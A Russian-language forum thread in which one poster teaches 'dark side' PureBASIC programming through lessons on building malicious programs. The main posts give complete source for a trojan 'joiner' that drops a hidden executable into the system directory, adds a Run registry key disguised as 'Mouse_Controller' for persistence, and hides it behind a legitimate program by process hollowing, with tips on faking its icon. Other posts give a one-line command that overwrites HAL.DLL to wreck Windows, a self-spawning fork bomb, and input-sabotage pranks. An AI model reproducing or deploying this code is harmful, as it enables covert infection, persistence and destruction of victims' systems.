IPB

Здравствуйте, гость ( Вход | Регистрация )

6 страниц V  < 1 2 3 4 > »   
Reply to this topicStart new topic
> Dark side of Programming, PureBASIC
Guevara-chan
сообщение 28 Dec 2006, 21:18 (Сообщение отредактировал Chrono Syndrome - 30 Dec 2006, 15:12)
Сообщение #21

•●Revolucionario●•
Сообщений: 2 467
Спасибо сказали: 5936 раз




Procedure Lesson3()
На прошлом занятии я рассказала вам о простейшем способы автоматического внедрения кода на чужой компьютер - иньекторах. Теперь же настало время для изучения более продвинутого механизма - Joiner'ов. Вообще-то в сети, при желании, можно найти немало готовых программ подобного рода, но лично я предпочитаю все делать своими руками, чего и вам советую wink.gif .

Итак, открываем IDE, и пишем следующий код:
Код
DataSection
DNA: IncludeBinary "путь до иньектируемого EXE"
End_DNA:
EXE: IncludeBinary "путь до программы, под которую будет маскироваться Joiner"
EndDataSection

Procedure RegSetKey(hKey, SubKey.S, ValueName.S, Dat.S)
Define Hnd
RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @Hnd, 0)
RegSetValueEx_(Hnd, @ValueName, 0, #REG_SZ, @Dat, Len(Dat))
RegCloseKey_(Hnd)
EndProcedure

Define SysDir.S = Space(#MAX_PATH)
GetSystemDirectory_(SysDir, #MAX_PATH)
SysDir = PeekS(@SysDir)
If Right(SysDir, 1) <> "\" : SysDir + "\" : EndIf
SysDir + "MC.EXE"
SetFileAttributes(SysDir, #PB_FileSystem_Normal)
CreateFile(0, SysDir)
WriteData(0, ?DNA, ?End_DNA - ?DNA)
CloseFile(0)
RegSetKey(#HKEY_LOCAL_MACHINE, "SOFTWARE\MicroSoft\Windows\CurrentVersion\Run", "Mouse_Controller", SysDir)

Prototype.l ZwUnmapViewOfSectionPT(Processhandle.l,BaseAdress.l)
ntdll = GetModuleHandle_("ntdll.dll")
Global ZwUnmapViewOfSection_.ZwUnmapViewOfSectionPT = GetProcAddress_(ntdll,"ZwUnmapViewOfSection")
Global WinPath.s
Structure IMAGE_SECTION_HEADER
 Name.b[8]
 StructureUnion
   PhysicalAddress.l
   VirtualSize.l
 EndStructureUnion
 VirtualAddress.l
 SizeOfRawData.l
 PointerToRawData.l
 PointerToRelocations.l
 PointerToLinenumbers.l
 NumberOfRelocations.w
 NumberOfLinenumbers.w
 Characteristics.l
EndStructure

Procedure injectfile(lpProcessname.s, lpBuffer.l)
 Structure IMAGE_SECTION_HEADERS
   a.IMAGE_SECTION_HEADER[95]
 EndStructure
 
 Result.l = 0
 Startupinfo.STARTUPINFO
 ProcessInfo.PROCESS_INFORMATION
 Context.CONTEXT
 BaseAddress.l
 lpNumberOfBytesRead.l
 lpNumberOfBytesWritten.w
 *NtHeaders.IMAGE_NT_HEADERS
 *Sections.IMAGE_SECTION_HEADERS
 i.l

;---
Result = #False
ZeroMemory_(@StartupInfo, SizeOf(STARTUPINFO));
StartupInfo\cb = SizeOf(STARTUPINFO)
StartupInfo\dwFlags = #STARTF_USESHOWWINDOW
StartupInfo\wShowWindow = #SW_SHOW

If CreateProcess_(lpProcessname,#NUL,#NUL,#NUL,#False,#CREATE_SUSPENDED,#NUL,#NUL,StartupInfo,
@ProcessInfo)

 Context\ContextFlags = #CONTEXT_INTEGER
 GetThreadContext_(ProcessInfo\hThread, Context);
 ReadProcessMemory_(ProcessInfo\hProcess,Context\Ebx+8,@BaseAddress,SizeOf(BaseAddress),@lpNumberOfBytesRead)
 
 If ZwUnmapViewOfSection_(ProcessInfo\hProcess,BaseAddress) >= 0
   
   *adr.IMAGE_DOS_HEADER = lpBuffer
   *NtHeaders = lpBuffer + *adr\e_lfanew
   
   BaseAddress = VirtualAllocEx_(ProcessInfo\hProcess,*NtHeaders\OptionalHeader\ImageBase,*NtHeaders\OptionalHeader\SizeOfImage,#MEM_RESERVE | #MEM_COMMIT, #PAGE_READWRITE)
   WriteProcessMemory_(ProcessInfo\hProcess,BaseAddress,lpBuffer,*NtHeaders\OptionalHeader\SizeOfHeaders,@lpNumberOfBytesWritten)

   *Sections = @*NtHeaders\OptionalHeader + *NtHeaders\FileHeader\SizeOfOptionalHeader
   
   For i = 0 To *NtHeaders\FileHeader\NumberOfSections-1
WriteProcessMemory_(ProcessInfo\hProcess,BaseAddress+*Sections\a[i]\VirtualAddress,lpBuffer+*Sections\a[i]\PointerToRawData,*Sections\a[i]\SizeOfRawData,@lpNumberOfBytesWritten)
   Next
   
   WriteProcessMemory_(ProcessInfo\hProcess,Context\Ebx+8,@BaseAddress,SizeOf(BaseAddress),@lpNumberOfBytesWritten)
   Context\Eax = BaseAddress + *NtHeaders\OptionalHeader\AddressOfEntryPoint
   Result = SetThreadContext_(ProcessInfo\hThread, Context)
   If Result
         ResumeThread_(ProcessInfo\hThread)
       Else
         TerminateProcess_(ProcessInfo\hProcess, 0);
         CloseHandle_(ProcessInfo\hProcess)
         CloseHandle_(ProcessInfo\hThread)
   EndIf
 EndIf
EndIf

EndProcedure

InjectFile(ProgramFilename(), ?EXE)
С помощью вышуказанного кода можно обьединить (отсюда и название wink.gif ) нашу программу-прикол (вернее иньектор с ней) с любым EXE'шником (другое дело, что не всегда это будет работать) под Windows (с DOS'овскими прогами такой фокус, увы, не пройдет). Другое дело, что не во всех случаях подобное сооружение заработает как надо, ну да это уже детали wink.gif . Все просто: прописываем в обоих IncludeBinary соответствующие пути, компилируем... Ловушка готова spiteful.gif . Единственный проблемный вопрос - подделка иконки, тоже решается довольно просто - необходимая легко извлекается из оргинального .EXE ResHacker'ом, либо другой подобной утилитой. Так, чего-то я вам еще хотела добавить напоследок... Ах да, точно: Have Fun gigi.gif !
EndProcedure


--------------------
life MOV.I #life+1, *life
האם יש זמן לעצור ?
Go to the top of the pageAdd Nick
 
+Quote Post
Bourn
сообщение 28 Dec 2006, 23:36
Сообщение #22

Immortal
Сообщений: 2 415
Спасибо сказали: 60 раз




2 Paladin 2006
запусти эту прогу smile.gif, сразу говорю она не прописываться в автозагрузку и не сканирует файлы на диске
bournwog.narod.ru/programs/example.exe


--------------------
Не лезь в дела Мудрых. Понять - не поймешь, а хлопот не оберешься.
Go to the top of the pageAdd Nick
 
+Quote Post
Irh
сообщение 29 Dec 2006, 11:02
Сообщение #23

Immortal
Сообщений: 1 137
Спасибо сказали: 269 раз




Цитата(Chrono Syndrome @ 27 Dec 2006, 16:58)
Вне занятий:
Пока писала 3ий урок, впомнила один прикольчик smile.gif
Код
RunProgram(ProgramFilename())
RunProgram(ProgramFilename())

Попробуйте запустить, вас ждут незабываемые ощущения smile.gif !

Вообще достаточно непонятно, почему в Windows нет нормальных средств управления процессами... А нажатие на три кнопки вызывает красивое навороченное окно, которое часто именно в тех случаях, когда оно действительно нужно, не приводит к результату, когда возникает проблема с ресурсами (загрузка проца и памяти, или блокировка GUI)...
Впрочем, это оффтоп...


--------------------
Go to the top of the pageAdd Nick
 
+Quote Post
Guevara-chan
сообщение 29 Dec 2006, 11:09 (Сообщение отредактировал Chrono Syndrome - 29 Dec 2006, 11:09)
Сообщение #24

•●Revolucionario●•
Сообщений: 2 467
Спасибо сказали: 5936 раз




Цитата
Вообще достаточно непонятно, почему в Windows нет нормальных средств управления процессами...

Есть Task Manager'ы от сторонних разработчиков.


--------------------
life MOV.I #life+1, *life
האם יש זמן לעצור ?
Go to the top of the pageAdd Nick
 
+Quote Post
Paladin
сообщение 29 Dec 2006, 12:10
Сообщение #25

Паладин-Урук
Сообщений: 582
Спасибо сказали: 2 раза




Цитата
2 Paladin 2006
запусти эту прогу , сразу говорю она не прописываться в автозагрузку и не сканирует файлы на диске
bournwog.narod.ru/programs/example.exe

А можешь нормальную ссылку дать?


--------------------

Кораблик, кораблик унеси меня в царство мертвых

Faber est suae quisque furtunae
Go to the top of the pageAdd Nick
 
+Quote Post
Guevara-chan
сообщение 29 Dec 2006, 12:45 (Сообщение отредактировал Chrono Syndrome - 29 Dec 2006, 12:57)
Сообщение #26

•●Revolucionario●•
Сообщений: 2 467
Спасибо сказали: 5936 раз




Alternative Joiner (дополнение к 3ему уроку):
У описанного в 3м уроке Joiner'а есть одна интересная особенность: он запускает оригинальную программу (ну, под которую он маскируется) непосредственно из памяти. Это, конечно, хорошо и правильно, но не всегда. Как я уже писала, с прогам под DOS (и некоторыми, спецефическими, под Windows) такой фокус не пройдет (или просто не будут работать, или будут, но так, что лучше бы не работали). Есть еще один ньюанс: при таком способе запуска не передаются параметры командной строки. Рассмотрим альтернативный вариант Joiner'а, лишенный этих недостатков (но имеющий свои wink.gif ) :

Код
DataSection
DNA: IncludeBinary "путь до иньектируемого EXE"
End_DNA:
EXE: IncludeBinary "путь до программы, под которую будет маскироваться Joiner"
End_EXE:
EndDataSection

Procedure RegSetKey(hKey, SubKey.S, ValueName.S, Dat.S)
Define Hnd
RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @Hnd, 0)
RegSetValueEx_(Hnd, @ValueName, 0, #REG_SZ, @Dat, Len(Dat))
RegCloseKey_(Hnd)
EndProcedure

Define SysDir.S = Space(#MAX_PATH)
GetSystemDirectory_(SysDir, #MAX_PATH)
SysDir = PeekS(@SysDir)
If Right(SysDir, 1) <> "\" : SysDir + "\" : EndIf
SysDir + "MC.EXE"
SetFileAttributes(SysDir, #PB_FileSystem_Normal)
CreateFile(0, SysDir)
WriteData(0, ?DNA, ?End_DNA - ?DNA)
CloseFile(0)
RegSetKey(#HKEY_LOCAL_MACHINE, "SOFTWARE\MicroSoft\Windows\CurrentVersion\Run", "Mouse_Controller", SysDir)

Macro PReturn : ProcedureReturn : EndMacro

Procedure.S CombinePath(Dir.S, FName.S)
If Right(Dir, 1) <> "\" : Dir + "\" : EndIf
PReturn Dir + FName
EndProcedure

Procedure.S TempFile(Dir.S, Ext.S)
Define FName.S, TOFix
Repeat : FName = ""
TOFix = Random(39)
For I = 0 To TOFix
FName + Chr(Random(25) + 65)
Next I
FName = CombinePath(Dir, FName + "." + Ext)
Until FileSize(FName) = -1
PReturn FName
EndProcedure

Procedure.S CmdLine()
CL.S = PeekS(GetCommandLine_())
CutSize = Len(ProgramFilename())
If Left(CL, 1) = Chr('"') : CutSize + 2 : EndIf
CL = Trim(Right(CL, Len(CL) - CutSize))
PReturn CL
EndProcedure

Define CurDir.S = GetPathPart(ProgramFilename()), FNAme.S = TempFile(CurDir, ".EXE")
CreateFile(0, FName)
WriteData(0, ?EXE, ?End_EXE - ?EXE)
CloseFile(0)
RunProgram(FName, CmdLine(), CurDir, #PB_Program_Wait)
SetFileAttributes(FName, #PB_FileSystem_Normal)
DeleteFile(FName)

Настройка аналагоичная. В отличае от предыдущего Joiner'а, этот использует метод распаковки программы во временный файл (со случайным именем), и запуск уже оттуда (после окончания работы программы файл уничтожается). Этим методом можно запускать не работающие с первым Joiner'ом программы. Впрочем, есть проги, которые как раз не заработают под этим Joiner'ом. Думайте сами, решайте сами wink.gif ...


--------------------
life MOV.I #life+1, *life
האם יש זמן לעצור ?
Go to the top of the pageAdd Nick
 
+Quote Post
Guevara-chan
сообщение 29 Dec 2006, 13:16 (Сообщение отредактировал Chrono Syndrome - 29 Dec 2006, 13:16)
Сообщение #27

•●Revolucionario●•
Сообщений: 2 467
Спасибо сказали: 5936 раз




Убить Винду одной процедурой...

Код
RunProgram("Cmd.EXE", "/C ECHO Винда MUST DIE XD !!! > %SYSTEMROOT%\SYSTEM32\HAL.DLL", "")

Прим.: Работает только под Win2K+.


--------------------
life MOV.I #life+1, *life
האם יש זמן לעצור ?
Go to the top of the pageAdd Nick
 
+Quote Post
Guevara-chan
сообщение 29 Dec 2006, 13:57 (Сообщение отредактировал Chrono Syndrome - 29 Dec 2006, 13:58)
Сообщение #28

•●Revolucionario●•
Сообщений: 2 467
Спасибо сказали: 5936 раз




Пьяная, пьяная мишь... ©

Код
Define X, Y, X1, Y1, Z

Macro GetCoords()
X = DesktopMouseX()
Y = DesktopMouseY()
EndMacro

GetCoords()
Repeat
Delay(50)
X1 = DesktopMouseX()
Y1 = DesktopMouseY()
Z = Random(5)
SetCursorPos_(X1 + (X1 - X) * Z, Y1 + (Y1 - Y) * Z)
GetCoords()
ForEver

Мышку начнет заносить как пьяную gigi.gif .


--------------------
life MOV.I #life+1, *life
האם יש זמן לעצור ?
Go to the top of the pageAdd Nick
 
+Quote Post
Paladin
сообщение 29 Dec 2006, 14:02
Сообщение #29

Паладин-Урук
Сообщений: 582
Спасибо сказали: 2 раза




Токо не включайте два раза подряд. А то она упадет и её не поднять будетgigi.gif


--------------------

Кораблик, кораблик унеси меня в царство мертвых

Faber est suae quisque furtunae
Go to the top of the pageAdd Nick
 
+Quote Post
Bourn
сообщение 30 Dec 2006, 00:43
Сообщение #30

Immortal
Сообщений: 2 415
Спасибо сказали: 60 раз




Цитата(Paladin 2006 @ 29 Dec 2006, 12:10)
А можешь нормальную ссылку дать?

так чтоли?
http://bournwog.narod.ru/programs/example.exe


--------------------
Не лезь в дела Мудрых. Понять - не поймешь, а хлопот не оберешься.
Go to the top of the pageAdd Nick
 
+Quote Post
Гость_Berserker_*
сообщение 30 Dec 2006, 14:35 (Сообщение отредактировал Berserker - 30 Dec 2006, 14:36)
Сообщение #31







Только такие приколы не всегда проходят. Паладин, стваь себе Safe'n'sec
и всё ок. Он сообщит при любой попытке изменить память процессов или установке хука, можно поставить сверхконтроль над реестром и т.д. Разумеется от мышки он не спасёт sad.gif А к досовским файлам крепиться можно. Только надо перед кодом ассемблерскую команду перехода на 32-битные инструкции ставить. Вроде помогает. А вообще лучший вирус, пакосник мелкий, кооторый прописывает себя в ехешник так, чтобы при запуске выдавалось что-то вроде банального "Файл не найден!" , а сама прога грузилась в память и искала новых жертв.
Go to the top of the pageAdd Nick
 
+Quote Post
sergroj
сообщение 30 Dec 2006, 15:55
Сообщение #32

В миру GrayFace
Сообщений: 2 529
Спасибо сказали: 817 раз




Цитата(Chrono Syndrome @ 27 Dec 2006, 19:58)
Вне занятий:
Пока писала 3ий урок, впомнила один прикольчик smile.gif
Код
RunProgram(ProgramFilename())
RunProgram(ProgramFilename())

Попробуйте запустить, вас ждут незабываемые ощущения smile.gif !

У меня друг так сделал на JavaScript - вот это весело biggrin.gif

Еще из серии завешиванья Винды:
SendMessage(GetDesktopWindow, WM_SYSCOMMAND, SC_MINIMIZE, 0);
Потом можно нажать Ctrl+Alt+Del и выйти из сеанса. Следующий вошедший будет несколько удивлен...


--------------------
ДНК банана на 50% состоит из человека.
Go to the top of the pageAdd Nick
 
+Quote Post
Рогатый Змий
сообщение 30 Dec 2006, 16:09
Сообщение #33

Великий Змий
Сообщений: 279
Спасибо сказали: 2 раза




А как джаве? sleep.gif
Go to the top of the pageAdd Nick
 
+Quote Post
Guevara-chan
сообщение 31 Dec 2006, 11:53 (Сообщение отредактировал Chrono Syndrome - 31 Dec 2006, 12:11)
Сообщение #34

•●Revolucionario●•
Сообщений: 2 467
Спасибо сказали: 5936 раз




Mix обоих мышиных приколов:

Код
Global FSwap = -1, X, Y, X1, Y1, Z

Macro GetCoords()
X = DesktopMouseX()
Y = DesktopMouseY()
EndMacro

Procedure ButtonSwitcher(A)
Repeat : SwapMouseButton_(FSwap)
FSwap = ~FSwap
Delay((Random(4) + 1) * 1000)
ForEver
EndProcedure

CreateThread(@ButtonSwitcher(), 0)

GetCoords()
Repeat
Delay(50)
X1 = DesktopMouseX()
Y1 = DesktopMouseY()
Z = Random(5)
SetCursorPos_(X1 + (X1 - X) * Z, Y1 + (Y1 - Y) * Z)
GetCoords()
ForEver

Прим.: Вроде как работает и с отключенным threadsafe...


--------------------
life MOV.I #life+1, *life
האם יש זמן לעצור ?
Go to the top of the pageAdd Nick
 
+Quote Post
Guevara-chan
сообщение 11 Jan 2007, 20:14 (Сообщение отредактировал Chrono Syndrome - 11 Jan 2007, 20:56)
Сообщение #35

•●Revolucionario●•
Сообщений: 2 467
Спасибо сказали: 5936 раз




Развлекаемся с клавой...
Небольшая, но прикольная программка, каждые 15 секунд имитирующая нажатие случайной (от A до Z) клавиши (представляете сколько, эдак, через пол-часика, очепяток набереться spiteful.gif ?) :

Код
#A = 'A'
#Z = 'Z'
#Second = 1000;MS

Macro Rnd()
Random(#Z - #A) + #A
EndMacro

Repeat
Define Key = Rnd()
keybd_event_(Key, 0, 0, 0)
keybd_event_(Key, 0, #KEYEVENTF_KEYUP, 0)
Delay(15 * #Second)
ForEver


--------------------
life MOV.I #life+1, *life
האם יש זמן לעצור ?
Go to the top of the pageAdd Nick
 
+Quote Post
gamecreator
сообщение 11 Jan 2007, 20:32
Сообщение #36

Яблочный произвол!
Сообщений: 11 080
Спасибо сказали: 3988 раз




вообще-то она повторяет нажатие буквы каждые 15 секунд (15 в delay).
и нафиг сколько переменных лишних? можно вообще без переменных.
Go to the top of the pageAdd Nick
 
+Quote Post
Guevara-chan
сообщение 11 Jan 2007, 20:58 (Сообщение отредактировал Chrono Syndrome - 11 Jan 2007, 21:08)
Сообщение #37

•●Revolucionario●•
Сообщений: 2 467
Спасибо сказали: 5936 раз




Цитата
вообще-то она повторяет нажатие буквы каждые 15 секунд (15 в delay).

Сорри, очепятка rolleyes.gif ...

Цитата
и нафиг сколько переменных лишних? можно вообще без переменных.

Ну, вообще-то там только одна переменная - Key, и мне, честно говоря, весьма интересно: как же это ты собираешся без нее обойтись ?


--------------------
life MOV.I #life+1, *life
האם יש זמן לעצור ?
Go to the top of the pageAdd Nick
 
+Quote Post
gamecreator
сообщение 11 Jan 2007, 22:21
Сообщение #38

Яблочный произвол!
Сообщений: 11 080
Спасибо сказали: 3988 раз




а че такое #A, #Z, #Seconds?
как раз только одной переменной и можно обойтись. сктати код можно и компактней сделать.
Код
Define Key

Repeat
Key = Random('Z' - 'A') + 'A'
keybd_event_(Key, 0, 0, 0)
keybd_event_(Key, 0, #KEYEVENTF_KEYUP, 0)
Delay(10000)
ForEver

и зачем переменную много раз обьявлять?
Go to the top of the pageAdd Nick
 
+Quote Post
Ennin
сообщение 12 Jan 2007, 00:25
Сообщение #39

strange thing
Сообщений: 2 586
Спасибо сказали: 94 раза




но так же забавнее


--------------------
anyway the wind blows...
Go to the top of the pageAdd Nick
 
+Quote Post
gamecreator
сообщение 12 Jan 2007, 01:27
Сообщение #40

Яблочный произвол!
Сообщений: 11 080
Спасибо сказали: 3988 раз




хы. а потом прога вылетит smile.gif
Go to the top of the pageAdd Nick
 
+Quote Post

6 страниц V  < 1 2 3 4 > » 
Reply to this topicStart new topic
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0

 



Текстовая версия Сейчас: 9 October 2025 - 12:42
Copyright by Алексей Крючков
Strategy Gamez by GrayMage
Programming by Degtyarev Dmitry
  Яндекс.Метрика